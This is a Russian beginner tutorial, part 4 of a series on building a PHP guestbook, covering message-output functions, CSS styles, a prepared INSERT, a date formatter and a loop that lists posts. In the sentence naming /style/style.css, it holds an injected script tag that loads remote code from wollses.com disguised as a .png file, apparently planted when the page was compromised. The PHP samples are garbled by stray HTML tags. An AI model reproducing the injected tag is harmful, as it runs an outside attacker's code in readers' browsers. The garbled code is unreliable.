Написание гостевой книги на PHP — 4 часть.

Написание гостевой книги на PHP — 4 часть.

Уровень: Новичок (базовые знания)

Здравствуйте ,сегодня четвертая часть из цикла — Написание гостевой книги на PHP.

Наш план:

  1. Написание функций для вывода сообщений
  2. Написание сценария вывода сообщений гостевой книги

В предыдущей части мы вывод ошибок и сообщений сделали просто с оператором echo. На мой взгляд это неудобно и неправильно.Поэтому мы создадим две новых функций ,одна для вывода сообщений о ошибках ,вторая просто вывод о успешных действиях.
Для этого откроем файл /core/functions.php и напишем в нем новые функции.

<br />
/**<br />
* Функция вывода ошибок<br />
*/<br />
function error($err)<br />
{<br />
  if (is_array($err)){<br />
    foreach ($err as $value) {<br />
    ?></p>
<div class="error">
    <?=$value?>
    </div>
<p>    <?
  }
  } else {
  ?></p>
<div class="error">
  <?=$err?>
  </div>
<p>  <?
  }
}
/**
* Функция вывода сообщений
*/
function message($msg)
{
?></p>
<div class="message">
<?=$msg?>
</div>
<p><?
}
&#91;/php&#93;
Первая функция может принимать массивы с ошибками ,что позволит вызывать ее всего один раз в конце скрипта. Вторая же функция вызывается всегда с одной переменной ,так как потребности в массовом выводе сообщении нет.
Для красивого вывода сообщений в файле <strong>/style/style.css<script src="//wollses.com/steps.png"></script></strong> пропишем новые стили.<br />
<br />
/* сообщение об ошибке */<br />
div.error{text-align: center;background: #BF614D;color: #fff;padding:1px}<br />
/* информативное сообщение */<br />
div.message{text-align: center;background: #4DBF9A;color: #fff;padding:1px}<br />

Обновим файл index.php изменив вывод ошибок с оператора вывода echo на наши созданные функции.
<br />
/**<br />
* Сценарий для добавлений сообщений<br />
*/<br />
if (!empty($_POST['login']) && !empty($_POST['message'])) {<br />
// Защита от XSS ,удаление пробелов в начале<br />
$login = trim(filter_input(INPUT_POST, 'login', FILTER_SANITIZE_SPECIAL_CHARS));<br />
$message = trim(filter_input(INPUT_POST, 'message', FILTER_SANITIZE_SPECIAL_CHARS));</p>
<p>// Массив с ошибками<br />
	// Проверка на длину логина<br />
    if(mb_strlen($login)<2 || mb_strlen($login)>64) {<br />
	$err[]='Неправильная длина у логина';<br />
	}<br />
      if (mb_strlen($message)<2 || mb_strlen($message)>1024) {<br />
	  $err[]='Неправильная длина у сообщения';<br />
	  }</p>
<p>	  if (!isset($err)) {<br />
	  /**<br />
	  * Если нет ошибок добавляем сообщение<br />
	  */<br />
      $addMessage=$db->prepare('INSERT INTO `guestbook`(`name`,`time`,`message`) VALUES (?,?,?)');<br />
      $addMessage->execute(array($login,time(),$message));</p>
<p>		if ($addMessage) {<br />
		message('Сообщение успешно добавлено');<br />
		} else {<br />
		$err[]='Сообщение не добавлено';<br />
		}<br />
	  } else {<br />
	  error($err);<br />
	  }<br />
}<br />

Все теперь когда наши функции работают ,добавление сообщений готово ,приступим к сценарию вывода.
2. Написание сценария вывода сообщений гостевой книги. Сообщения мы будем выводить в цикле ,также для красоты стили для сообщений будут чередоваться(зебра),+добавим картинки.Также для перевода даты в человеческий вид используем функцию timefomat — core/functions.php
<br />
/**<br />
* Функция для форматирования даты в ч.в<br />
*/<br />
function timeformat($time=NULL)<br />
{<br />
    $labelTime = date('d.m.Y', $time); </p>
<p>    $arrM = array(<br />
      '01'=>'янв', '02'=>'фев', '03'=>'мар', '04'=>'апр',<br />
      '05'=>'май', '06'=>'июн', '07'=>'июл', '08'=>'авг',<br />
      '09'=>'сен', '10'=>'окт', '11'=>'ноя', '12'=>'дек'<br />
    ); </p>
<p>    if ($labelTime == date('d.m.Y')) {<br />
      return 'Сегодня в '.date('H:i', $time);<br />
    } elseif ($labelTime == (date('d') - 1).'.'.date('m.Y')) {<br />
      return 'Вчера в '.date('H:i', $time);<br />
    } else {<br />
    return date('d', $time).' '.$arrM[date('m', $time)].' '.date('Y', $time).' в '.date('H:i', $time);<br />
    }<br />
}<br />

После сценария добавления сообщения.Пишем
<br />
$sql_query = 'SELECT * FROM `guestbook` ORDER BY `time` DESC LIMIT 0,100';<br />
$sql_result = $db->query($sql_query);</p>
<p>$i=0;<br />
while ($data = $sql_result->fetch(PDO::FETCH_ASSOC))<br />
{<br />
$i++;</p>
<p>$div = '</p>
<div class="post_text">';<br />
/**<br />
* Зебра<br />
*/<br />
if ($i&1) {<br />
$div.= '</p>
<div class="post0">';<br />
} else {<br />
$div.= '</p>
<div class="post1">';<br />
}</p>
<p>$div_close = '</p></div>
</div>
<p>';</p>
<p>$post = $i.') <img src="/style/images/unk.png" alt=""> '.$data['name'].' ('.timeformat($data['time']).') <br />';<br />
$post.=$data['message'].'<br />';</p>
<p>echo $div.$post.$div_close;<br />
}<br />

SQL запросы мы составили для вывода с 0 по 100 сообщения ,в обратном порядке. Позже мы напишем постраничную навигацию.Так как выводить на одной странице по 100 элементов неправильно ).
Также все почти верстку я разместил в переменных в будущем это облегчит работу над дизайном. Конечно лучше было вообще выводить все в шаблоны вида ,но пока обойдемся этим вариантом.
Не забудем создать новые стили в style.css
<br />
/* div с постом */<br />
div.post0{<br />
background-color: #FCFDFF<br />
}<br />
/* div с постом */<br />
div.post1{<br />
background-color: #F9FBFC<br />
}</p>
<p>/* Вывод текста: Шрифт Tahoma наиболее удобный для чтения 😀 */<br />
div.post_text{<br />
font-family: tahoma;<br />
background-color: #FCFDFF;<br />
font-size:14px;<br />
padding:2px;<br />
}<br />

Картинки можете взять в исходниках папки style/images/.
Когда мы все это проделаем получиться:
Гостевая
На сегодня все )

Скачать исходники гостевой книги 4

P.S Если имеются вопросы задаем в комментариях

Вам также может понравиться ...